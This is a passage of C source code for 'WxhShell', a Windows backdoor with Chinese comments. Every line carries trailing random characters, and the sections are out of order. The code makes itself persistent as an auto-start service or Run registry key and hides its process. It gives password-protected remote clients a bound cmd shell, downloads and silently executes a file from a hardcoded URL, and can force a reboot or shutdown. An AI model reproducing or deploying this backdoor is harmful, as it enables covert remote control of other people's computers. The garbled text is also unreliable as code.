    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _~y-?(46K  
    if(Boot(SHUTDOWN)) mF>{cVTF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W$gjcsv  
    else { 1_@vxi~aW_  
    closesocket(wsh); #)%X0%9.*<  
    ExitThread(0); JUq7R%"h6  
    } T IyHM1+  
    break;  Ozsvsa  
    } AG G xx?I  
  // 获取shell W7\UZPs5t  
  case 's': { *4Z! 5iOs  
    CmdShell(wsh); )<5hga][~a  
    closesocket(wsh); 0/~{,  
    ExitThread(0); 8&7zV:=  
    break; AbX#wpp!  
  }  "'Q~&B;@  
  // 退出 +4[Je$qYa  
  case 'x': { 0.U- tg0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (J j'kW6G6  
    CloseIt(wsh); qM d4awB R  
    break; _6aI>b#yL  
    } ?nM]eUAP  
  // 离开 TH~"y  
  case 'q': { j:2*hF!E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l% {<+N  
    closesocket(wsh); d @b ]/  
    WSACleanup(); e,*@+E\4  
    exit(1); aL8Z|*  
    break; 7aHP;X~0  
        } )s ?Hkn  
  } |tFg9RT  
  } ~#=70  
Ece=loV*l  
  // 提示信息 hz-^9U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T7(U6yN  
} jGDuKb@:  
  } PJ)d5D%T  
%^iBTfq2hc  
  return; aM\Ph&c7e'  
} "OrF81  
?Elt;wL(  
// shell模块句柄 yM?jiy  
int CmdShell(SOCKET sock) \?$kpV  
{ FMl_I26]  
STARTUPINFO si; {YIVi:4q  
ZeroMemory(&si,sizeof(si)); j Oxnf%jl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sQO>1bh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e8)8QmB{o  
PROCESS_INFORMATION ProcessInfo; u X(#+  
char cmdline[]="cmd"; kM7 6?M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @CA{uP;  
  return 0; sGGi7 %  
} *nHkK!d<N  
R`%O=S*]  
// 自身启动模式 f3mQd}<L  
int StartFromService(void) 8~iggwZ~h"  
{ PWS5s^WM  
typedef struct Aj"fkY|Q  
{ lt{"N'Gw6  
  DWORD ExitStatus; S\@U3|Q5  
  DWORD PebBaseAddress; ~mT([V  
  DWORD AffinityMask; X D \;|  
  DWORD BasePriority; q)RTy|NJ^  
  ULONG UniqueProcessId; v2vtkYQN  
  ULONG InheritedFromUniqueProcessId; %eJE@$  
}   PROCESS_BASIC_INFORMATION; vZ|Wj] ;o  
*>jJ<8!  
PROCNTQSIP NtQueryInformationProcess; MVp+2@)}s  
odTIz{9qG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; stq%Eg?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lkQ(?7  
>oyZD^gj  
  HANDLE             hProcess; PC& (1kJ  
  PROCESS_BASIC_INFORMATION pbi; jB\Knxm v  
:?\Je+iA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a=*JyZ.2  
  if(NULL == hInst ) return 0; KtaoU2s  
F7`[r9 $  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T{*!.+E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W"5VqN6v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S8;5|ya  
T{lK$j  
  if (!NtQueryInformationProcess) return 0; O/fm/  
Y-]Ne"+vf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vgKdhN2kI  
  if(!hProcess) return 0; >2#F5c67  
v<gve<]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BBj>ML\X  
3Sn# M{wH  
  CloseHandle(hProcess); Q'Y7PG9m~  
Ym9~/'%]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _[y<u})  
if(hProcess==NULL) return 0; {s?x NU  
d-B,)$zE  
HMODULE hMod; Z:>ek>Op  
char procName[255]; j$r2=~1  
unsigned long cbNeeded; 8/W2;>?wKc  
[f`7+RHrd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;_A?Zl}  
et@<MU@ `  
  CloseHandle(hProcess); :Mq{ES%  
P"Y7N?\](  
if(strstr(procName,"services")) return 1; // 以服务启动 >'&|{s[m  
;x-]1xx_  
  return 0; // 注册表启动  $kY ]HI  
} \C"hL(4-  
{0\9HI@  
// 主模块 jR^_1bu  
int StartWxhshell(LPSTR lpCmdLine) 1-8 G2e  
{ *NoixV1>  
  SOCKET wsl; -~^sSLrbP  
BOOL val=TRUE; b4>1UZGW-  
  int port=0; 8 g3?@i  
  struct sockaddr_in door; 1W{t?1[s  
 1"RC!  
  if(wscfg.ws_autoins) Install(); (A~w IKY,  
B5!|L)7>{p  
port=atoi(lpCmdLine); 70N Lv  
X 3(*bj>P  
if(port<=0) port=wscfg.ws_port; N$P\$  
; r95i1a'  
  WSADATA data; g ?{o2gG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :+meaxbu  
cA B<'44R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QJU\YH%}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *m[[>wE  
  door.sin_family = AF_INET; o|y1m7X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jL:GP}I=  
  door.sin_port = htons(port); 9QEK|x`8  
;~(yv|f6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]eo%eaA   
closesocket(wsl); HEe_K!_  
return 1; N$<R6DU]K  
} J(Zz^$8]<?  
}KR"0G[f  
  if(listen(wsl,2) == INVALID_SOCKET) { |L(h+/>aWX  
closesocket(wsl); iB5'mb*  
return 1; Gw+pjSJL`  
} !qug^F  
  Wxhshell(wsl); #?7g_  
  WSACleanup(); N)  
y`J8hawp  
return 0; 6K5mMu#4  
qzi i[Mf  
} 8T3Nz8Q7  
k;l^y%tzp  
// 以NT服务方式启动 O@`KG ZEPY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~SYW@o  
{ .FA99|:  
DWORD   status = 0; )Qh*@=$-  
  DWORD   specificError = 0xfffffff; axz.[L_elB  
Zo}vV2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \-r"%@OkW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R#HX}[Hb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cs*"9nKl  
  serviceStatus.dwWin32ExitCode     = 0; pSodT G$E  
  serviceStatus.dwServiceSpecificExitCode = 0; =&WH9IKz  
  serviceStatus.dwCheckPoint       = 0; -b=A j8h  
  serviceStatus.dwWaitHint       = 0; G@scz!Nt  
FM<`\ d'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?{wD%58^oG  
  if (hServiceStatusHandle==0) return; ?vmoRX  
;e6- *  
status = GetLastError(); YZ6" s-  
  if (status!=NO_ERROR) 5>aK4: S/  
{ deCi\n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EAK[2?CY  
    serviceStatus.dwCheckPoint       = 0; !k!1 h%7q  
    serviceStatus.dwWaitHint       = 0; F[]6U/g n  
    serviceStatus.dwWin32ExitCode     = status; >YR2h/S  
    serviceStatus.dwServiceSpecificExitCode = specificError; d^d+8R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _3q}K  
    return; Zhc99L&K  
  } m[s$)-T  
DC2[g9S>8@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6bT>x5?  
  serviceStatus.dwCheckPoint       = 0; T%w5%{dqJ  
  serviceStatus.dwWaitHint       = 0; Y-~ M kB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OOnhT  
} zEYQZywc  
HSEz20s  
// 处理NT服务事件,比如:启动、停止 gpogv -  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c"/Hv  
{ a7jE*%f9  
switch(fdwControl) ,6SzW+L7  
{ Ht|"91ZC5  
case SERVICE_CONTROL_STOP: :}-izd)/j  
  serviceStatus.dwWin32ExitCode = 0;  C~T*Wlk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ff 6x4t  
  serviceStatus.dwCheckPoint   = 0; $>rKm  
  serviceStatus.dwWaitHint     = 0; +HlZ ?1g  
  { 9hjzOJPuga  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zm6|aHx8v  
  } +g_m|LF  
  return; p;~oIy\,  
case SERVICE_CONTROL_PAUSE: .pIO<ZAFT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %$67*pY'JH  
  break; +NVXFjPC  
case SERVICE_CONTROL_CONTINUE: Cm9#FA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0U?(EJ  
  break; 5RyxVC0<  
case SERVICE_CONTROL_INTERROGATE: /ACau<U]t  
  break; XHh*6Yt_ (  
}; I!T=$Um  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b"w@am>&  
} e'.CIspN  
.z^O y_S{  
// 标准应用程序主函数 ubM  N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f( <O~D  
{ NKl`IiGv  
pRA%07?W  
// 获取操作系统版本 s01=C3  
OsIsNt=GetOsVer(); V,]Fh5f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?Cv([ ^Y.u  
FIx|4[&>S  
  // 从命令行安装 b(t8TR#-  
  if(strpbrk(lpCmdLine,"iI")) Install(); H\$uRA oo*  
Q;GcV&f;f  
  // 下载执行文件 u-*z#e_L0  
if(wscfg.ws_downexe) { `x;m@\R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S2>$S^[U  
  WinExec(wscfg.ws_filenam,SW_HIDE); HQMug  
} /z:1nq  
o $'K}U  
if(!OsIsNt) { xXSfYW  
// 如果时win9x,隐藏进程并且设置为注册表启动 nX8ulGGs  
HideProc(); _} K3}}  
StartWxhshell(lpCmdLine); ,h<x Y>  
} Y++n0sK5<  
else ll*Ez"  
  if(StartFromService()) }:(;mW8 D  
  // 以服务方式启动 YKzfI9Y  
  StartServiceCtrlDispatcher(DispatchTable); P_)=sj!>-  
else 1'|gxYT  
  // 普通方式启动 NdrR+t^#  
  StartWxhshell(lpCmdLine); yQf(/Uxk*x  
Adgfo)X5  
return 0; 2Sk"S/4}Z  
} k106fT]eX  
#Y'ewu;qJ  
p-H}NQ\  
yT[=!M  
=========================================== a*uG^~ ).  
1\nzfxx  
O`T_'.Lk  
s"p\-Z  
W)8Pq9Hnv  
G!o6Y:1!  
" I@TH^8(  
\["I.gQ  
#include <stdio.h> Wl }J=  
#include <string.h> 4'Y a-x x  
#include <windows.h> taMcm}*T1  
#include <winsock2.h> D[)_ f  
#include <winsvc.h> N:~4>p44[  
#include <urlmon.h> '*^9'=  
"Y@q?ey[1  
#pragma comment (lib, "Ws2_32.lib") ).-#  
#pragma comment (lib, "urlmon.lib") E&f/*V^  
PcI~,e%  
#define MAX_USER   100 // 最大客户端连接数 V Ds0+RC  
#define BUF_SOCK   200 // sock buffer Q\N >W+d  
#define KEY_BUFF   255 // 输入 buffer 4*HBCzr7[  
N 6> rU  
#define REBOOT     0   // 重启 n3j_=(  
#define SHUTDOWN   1   // 关机 w| ahb  
P"o|kRO  
#define DEF_PORT   5000 // 监听端口 *$Zy|&[Z  
+O^}  t  
#define REG_LEN     16   // 注册表键长度 u?F.%j-  
#define SVC_LEN     80   // NT服务名长度 AnK X4Q  
./^8L(  
// 从dll定义API z[K)0@8 6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t+\<i8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tH#t8Tq5x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sE ^YOT<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6cD3(//  
^f9@ =I  
// wxhshell配置信息 /:"^,i\t  
struct WSCFG { ]c bXI  
  int ws_port;         // 监听端口 R7O<>kt  
  char ws_passstr[REG_LEN]; // 口令 ^E.mG>  
  int ws_autoins;       // 安装标记, 1=yes 0=no e X6o 7a  
  char ws_regname[REG_LEN]; // 注册表键名 Q<KF<K'0hg  
  char ws_svcname[REG_LEN]; // 服务名 GMB3`&qh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e wWw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gtT&97tT<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `g4N]<@z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W|"bV 6d3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uGHM ]"!)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v=Q!ioE7  
eu":\ks  
}; Z?V vFEt%  
<PM.4B@  
// default Wxhshell configuration z, FPhbFn  
struct WSCFG wscfg={DEF_PORT, 1/&^~'  
    "xuhuanlingzhe", ~z")';I|  
    1, 3Tp8t6*nL  
    "Wxhshell", <N>7.G  
    "Wxhshell",  g_Rp}6g  
            "WxhShell Service", A.h0H]*Ma  
    "Wrsky Windows CmdShell Service", \v$zU  
    "Please Input Your Password: ", rhZ p  
  1, fjY:u,5V_  
  "http://www.wrsky.com/wxhshell.exe", %LD(S*>7  
  "Wxhshell.exe" mn*}U R  
    }; J8ScKMUN2  
@(+\*]?^&  
// 消息定义模块 \DWKG~r-%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )>"pm {g2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _~*j=XRs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v#`>  
char *msg_ws_ext="\n\rExit."; TK%q}bK,  
char *msg_ws_end="\n\rQuit."; Y88N*axDW.  
char *msg_ws_boot="\n\rReboot..."; d1D=R8P_u  
char *msg_ws_poff="\n\rShutdown..."; /I{K_G@  
char *msg_ws_down="\n\rSave to "; s,AJR [  
YB!f=_8  
char *msg_ws_err="\n\rErr!"; (ti!Y"e2  
char *msg_ws_ok="\n\rOK!"; +5 gX6V\  
Z9q4W:jyS  
char ExeFile[MAX_PATH]; *YGj^+   
int nUser = 0; C'{B  
HANDLE handles[MAX_USER]; (`4&Y-  
int OsIsNt; s@GE(Pu7  
:RwURv+kT  
SERVICE_STATUS       serviceStatus; Ts3!mjn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :SWrx MT  
Bjj =UtI  
// 函数声明 eVB43]g  
int Install(void); 2v;&`04V<  
int Uninstall(void); ~4O3~Y_+GN  
int DownloadFile(char *sURL, SOCKET wsh); hl] y):  
int Boot(int flag); SuNc&e#(  
void HideProc(void); 33wVP}e5  
int GetOsVer(void); MPn/"Fij$  
int Wxhshell(SOCKET wsl); +$xw0)|  
void TalkWithClient(void *cs); J!G92A~*]  
int CmdShell(SOCKET sock); &4 #%xg  
int StartFromService(void); cIa`pU,6A  
int StartWxhshell(LPSTR lpCmdLine); t F 7u-  
_[i.)8$7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dw!Xt@,[g{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @ &rf?:  
-AU'1iRcK7  
// 数据结构和表定义 QMmZvz\^  
SERVICE_TABLE_ENTRY DispatchTable[] = aBQ@n  
{ qn{4AWmJ  
{wscfg.ws_svcname, NTServiceMain}, %s9*?6  
{NULL, NULL} @<X[,Mj  
}; ,fN <I  
ZNpC& "`G  
// 自我安装 A$n.'*gK  
int Install(void) ZX.,<vumSy  
{ g& f)WQ(  
  char svExeFile[MAX_PATH]; -3wid1SOm  
  HKEY key; g_k95k3V'  
  strcpy(svExeFile,ExeFile); )OucJQ  
0pl'*r*9  
// 如果是win9x系统,修改注册表设为自启动 "u&7Y:)^wr  
if(!OsIsNt) { mG\9Qkom|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pn4jI(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z_<NUPE  
  RegCloseKey(key); +2}Ar<elP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R>1oF]w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `ZO5-E  
  RegCloseKey(key); .6y*Z+Zg  
  return 0; Pgq(yPC  
    } 2 e#"JZ=  
  } l0qHoM,1Y[  
} rc7c$3#X  
else { i_+e&Bjd4j  
vRD(* S9^  
// 如果是NT以上系统,安装为系统服务 VS>hi~j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o1b.a*SZ  
if (schSCManager!=0) 4>fj @X(3  
{ g>'6"p;  
  SC_HANDLE schService = CreateService H 8 6 6,]  
  ( e=IbEm{|  
  schSCManager, "LW\osjen  
  wscfg.ws_svcname, KL9JA; "  
  wscfg.ws_svcdisp, yB=R7E7  
  SERVICE_ALL_ACCESS, 2 n2,MB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'MB+cz+v  
  SERVICE_AUTO_START, B|+% ExT7  
  SERVICE_ERROR_NORMAL, ;~WoJlEK3  
  svExeFile, 7}~nQl2  
  NULL, .x/H2r'1  
  NULL, 'O9Yu{M  
  NULL, DYC2bs>  
  NULL, 3m2y<l<  
  NULL dl |$pm@x  
  ); h.Sbds  
  if (schService!=0) s|Vs#o.P)  
  { .i*ja*   
  CloseServiceHandle(schService); NS+uiy  
  CloseServiceHandle(schSCManager); '%:E4oI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1rU\ !GfR  
  strcat(svExeFile,wscfg.ws_svcname); bNtOqhi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kkj@!1q(wO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >yqEXx5{  
  RegCloseKey(key); d(9SkXr  
  return 0; 'd;aAG  
    } )cZ KB0*+  
  } W?.xtQEv  
  CloseServiceHandle(schSCManager); K:Z,4Y  
} Z/v )^VR  
} B>z^W+Unyn  
C:bA:O  
return 1; <S;YNHLC  
} LW("/  
kI5LG6  
// 自我卸载 3W.D^^)eCV  
int Uninstall(void) d~QJ}a  
{ *tkf)[(  
  HKEY key; ]^{5`  
0tMzVx S  
if(!OsIsNt) { NcX-* o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,'l.u?SKyd  
  RegDeleteValue(key,wscfg.ws_regname); (4`Tf*5hHa  
  RegCloseKey(key); I/v#!`L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -(}N-yu  
  RegDeleteValue(key,wscfg.ws_regname); W&Xi &[Ux  
  RegCloseKey(key); 3=UufI  
  return 0; iU~d2R+  
  } <8Z%'C6d  
} "/UPq6  
} M$f_I +  
else { T:CWxusL  
(>P z3 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N5k9o:2  
if (schSCManager!=0) ]x3 )OjH  
{ 0&r}'f ?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XoMgb DC  
  if (schService!=0) HBk5 p>&  
  { R\$6_  
  if(DeleteService(schService)!=0) { 40-/t*2Ly  
  CloseServiceHandle(schService); WFS6N.Ap  
  CloseServiceHandle(schSCManager); %VXIiu[  
  return 0; ~wGjr7Wt  
  } 2Y=Q%  
  CloseServiceHandle(schService); uHDUuK:Ur  
  } Kj6+$l   
  CloseServiceHandle(schSCManager); 6e}T zc\@(  
} A?)(^  
} y%YP  
DAEWa Kui  
return 1;  e+@.n  
} O&">%aU1I  
'64/2x  
// 从指定url下载文件 do%.KIk  
int DownloadFile(char *sURL, SOCKET wsh) 6skd>v UU  
{ eMH\]A~v"  
  HRESULT hr; *\Hut'7 d  
char seps[]= "/"; ~H]d9C  
char *token; yG>sBc  
char *file; $ WWi2cI;  
char myURL[MAX_PATH]; n4ti{-^4|d  
char myFILE[MAX_PATH]; 3|Ar~_]  
=)]RD%Oq  
strcpy(myURL,sURL); ^1--7#H  
  token=strtok(myURL,seps); 2Paw*"U  
  while(token!=NULL) #KtV4)(  
  { P|aSbsk:I<  
    file=token; 6b!1j,\Vx  
  token=strtok(NULL,seps); Ew9 MWlk  
  } >v%UV:7ap  
];0:aSi#  
GetCurrentDirectory(MAX_PATH,myFILE); EkN>5).  
strcat(myFILE, "\\"); *I9G"R8  
strcat(myFILE, file); kaCn@$  
  send(wsh,myFILE,strlen(myFILE),0); W*4!A\K  
send(wsh,"...",3,0); er!+QD,EM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7G_lGV_  
  if(hr==S_OK) `R$bx 64  
return 0; {Z[kvXf"mZ  
else ):Ekf2  
return 1; s: MJ{r(s  
$5>x)jr:w+  
} ayA_[{j%X  
:!,.c $M  
// 系统电源模块 81wmKqDEs  
int Boot(int flag) eA/}$.R  
{ -%t8a42  
  HANDLE hToken; -ktYS(8&  
  TOKEN_PRIVILEGES tkp; H329P*P  
HMR!XF&JjC  
  if(OsIsNt) { .fY$$aD$4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lx~mn~;x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lt}U,p,S  
    tkp.PrivilegeCount = 1; ra\|c>[%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I,lzyxRP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); An !i  
if(flag==REBOOT) { NMP*q @  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /bqJ6$  
  return 0; @(rLn  
} rX&?Xi1JeV  
else { `P9%[8`C 9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;{cl*EN  
  return 0; 'zTa]y]a  
} 6IM:Xj  
  } #Cz:l|\ i  
  else { VH.}}RS%  
if(flag==REBOOT) { ^EKf_w-v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  N/AP8  
  return 0; );x[1*e  
} W{;LI WsZ  
else { d _koF-7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fP1fm  
  return 0; mDU-;3OqF  
} 9M-/{D^+<  
} sk`RaDq@;  
rB5+~ K@  
return 1; lnntb3q  
} u+e.{Z!  
oRCD8b?  
// win9x进程隐藏模块 z[_Gg8e  
void HideProc(void) O<w7PS  
{ pJwy ~ L  
GP}+c8|2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *|:]("i  
  if ( hKernel != NULL ) ia /_61%  
  { {{_,YO^w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4:v{\R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h'G8@j;  
    FreeLibrary(hKernel); & |o V\L  
  } -3:x(^|:K  
YcBAW4B`  
return; fBt7#Tc=U  
} j-etEWOTr  
GEi^3UD  
// 获取操作系统版本 mdHC{sp  
int GetOsVer(void) aMjCqu05  
{ jl4rEzVu  
  OSVERSIONINFO winfo; bjq2XP?LL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \(ZOt.3!J  
  GetVersionEx(&winfo); t\C[mw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YY<e]CriU  
  return 1; Q /\Hc  
  else K?+ Rq  
  return 0; _qqJ>E<0  
} \7,'o] >M-  
v|mZcAz  
// 客户端句柄模块 c}FZb$q#  
int Wxhshell(SOCKET wsl) \<A@Nf"  
{ |4a#O8d  
  SOCKET wsh; lL:J:  
  struct sockaddr_in client; c^8y/wfok  
  DWORD myID; 7e&%R4{b  
v<Ux+-  
  while(nUser<MAX_USER) [t`QV2um  
{ _/!IjB:(70  
  int nSize=sizeof(client);  3^zO G2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %@FTg$  
  if(wsh==INVALID_SOCKET) return 1; VIxcyp0X  
#65Uei|F`+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oMi"X"C:q  
if(handles[nUser]==0) ,!4 (B1@  
  closesocket(wsh); /fc@=CO  
else 0qV!-i  
  nUser++; {GiR-q{t  
  } 8~|PZ,oZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); re/l5v,|3  
Z`b{r;`m8  
  return 0; ^T|~L<A3  
} <tg>1,C  
%/&?t`%H  
// 关闭 socket &6 L{1  
void CloseIt(SOCKET wsh) r 6STc,%5  
{ oa|nQ`[  
closesocket(wsh); fhmq O0  
nUser--; fm\IQqIK%  
ExitThread(0); p`JD8c  
} jM90 gPX>,  
y(8AxsROp  
// 客户端请求句柄 mko<J0|4  
void TalkWithClient(void *cs) qyuU  
{ Xu:S h<:R  
(v8jVbg  
  SOCKET wsh=(SOCKET)cs; m>6,{g)  
  char pwd[SVC_LEN]; pemb2HQ'4j  
  char cmd[KEY_BUFF]; x AD:Z "  
char chr[1]; nV%1/e"5  
int i,j; BS;_l"?  
b#^UP  
  while (nUser < MAX_USER) { ; ,]T|> M  
.~6p/fHX  
if(wscfg.ws_passstr) { DO$jX 4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |L4K#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :- ydsR/  
  //ZeroMemory(pwd,KEY_BUFF); _S#uxgL<  
      i=0; }4kd=]Nk  
  while(i<SVC_LEN) { T0Q)}%L  
yA!#>u%g  
  // 设置超时 |,Y(YSg.  
  fd_set FdRead; A@ EeX4N  
  struct timeval TimeOut; xS`>[8?3<T  
  FD_ZERO(&FdRead); g Xvuv^  
  FD_SET(wsh,&FdRead); kfBVF%90  
  TimeOut.tv_sec=8; V Z;ASA?;  
  TimeOut.tv_usec=0; -[4Xg!apO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R1FBH:Iu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (&FSoe/!['  
Cv|ya$}a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r"a0!]n  
  pwd=chr[0]; gYx|Na,+  
  if(chr[0]==0xd || chr[0]==0xa) { Y zSUJ=0/  
  pwd=0; ".eD&oX{  
  break; Z*QsDS  
  } nJ4i[j8  
  i++; ucyz>TL0  
    } FMuM:%&J]  
{|6(_SM|  
  // 如果是非法用户,关闭 socket l =ZhHON  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &gZ5dTj>  
} jYRwtP\  
#!KbqRt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bls\)$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %9xz[Ng  
41WnKz9c  
while(1) { B`} ?rp  
QdL ;|3K9  
  ZeroMemory(cmd,KEY_BUFF); n97A'"'wz  
wz5xJ:Tj  
      // 自动支持客户端 telnet标准   keEyE;O}u  
  j=0; [MYd15  
  while(j<KEY_BUFF) { eW]K~SPd7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h \b]>q@  
  cmd[j]=chr[0]; B]q &?~  
  if(chr[0]==0xa || chr[0]==0xd) { ~&=-*  
  cmd[j]=0; { D1.  
  break; T2 0dZ8{y  
  } ]C-hl}iq  
  j++; *?K3jy{  
    } hp!UW  
`ej  
  // 下载文件 # &o3[.)9  
  if(strstr(cmd,"http://")) { Q uy5H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kgi%Nd  
  if(DownloadFile(cmd,wsh)) RiF~-;v&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qIa|sV\w0  
  else AxUj CerNf  
